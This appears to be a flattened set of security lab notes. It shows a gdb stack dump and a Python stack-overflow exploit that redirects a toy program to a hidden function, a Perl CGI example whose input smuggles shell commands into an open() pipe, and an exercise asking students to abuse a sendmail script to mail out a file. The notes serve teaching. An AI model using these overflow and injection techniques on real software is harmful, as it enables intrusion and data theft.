0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ?

0x e40 : push %rbp 0x e41 : mov %rsp,%rbp 0x e44 : lea 0x65(%rip),%rdi # 0x100000eb0 0x e4b : callq 0x100000ea4 0x e50 : leaveq 0x e51 : retq rip 0x e40 rbp 0x rsp 0x7fff5fbff818 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ? Hello secret1( ) !!!

$ poof Input: A You entered A. $ cat poop import struct rip = 0x e40 print("A"*24 + struct.pack("<q", rip)) $ python poop | poof Input: You entered You found the secret function No. 1! Segmentation fault $

#!/usr/bin/perl # funky CGI script example $dest = "foo1"; # pretend this is the destination address from the user open (MAIL,"| /bin/cat >$dest "); # pretend this was a call to sendmail print MAIL "To: $dest\nFrom: me\n\nHi there!\n"; close MAIL; !/usr/bin/perl # funky CGI script example $dest = "foo1; echo 'this could be bad!';find. -name '*.c' -print;"; open (MAIL,"| /bin/cat >$dest "); # pretend this was a call to sendmail print MAIL "To: $dest\nFrom: me\n\nHi there!\n"; close MAIL;

/usr/bin/perl –w # (1) quit unless we have the correct number of command-line args $num_args = $#ARGV + 1; if ($num_args != 2) { print "\nUsage: name.pl -address brief-message\n"; exit; } # (2) we got two command line args, so assume it’s address $dest=$ARGV[0]; $content=$ARGV[1]; my $sendmail = "/usr/sbin/sendmail -t"; #open (MAIL,"| /bin/cat >$dest "); # pretend this was a call to sendmail open (MAIL,"|$sendmail") or die "Cannot open sendmail: $!"; print MAIL "To: $dest\n"; print MAIL "From: me\n"; print MAIL "Subject: test\n"; print MAIL "Content-type: text/plain\n\n"; print MAIL $content; close MAIL; Run it with./tryit.pl ccpalmer “Some long message here inside quotes” Could you find a way to trick the perl script into mailing you some file that it shouldn’t???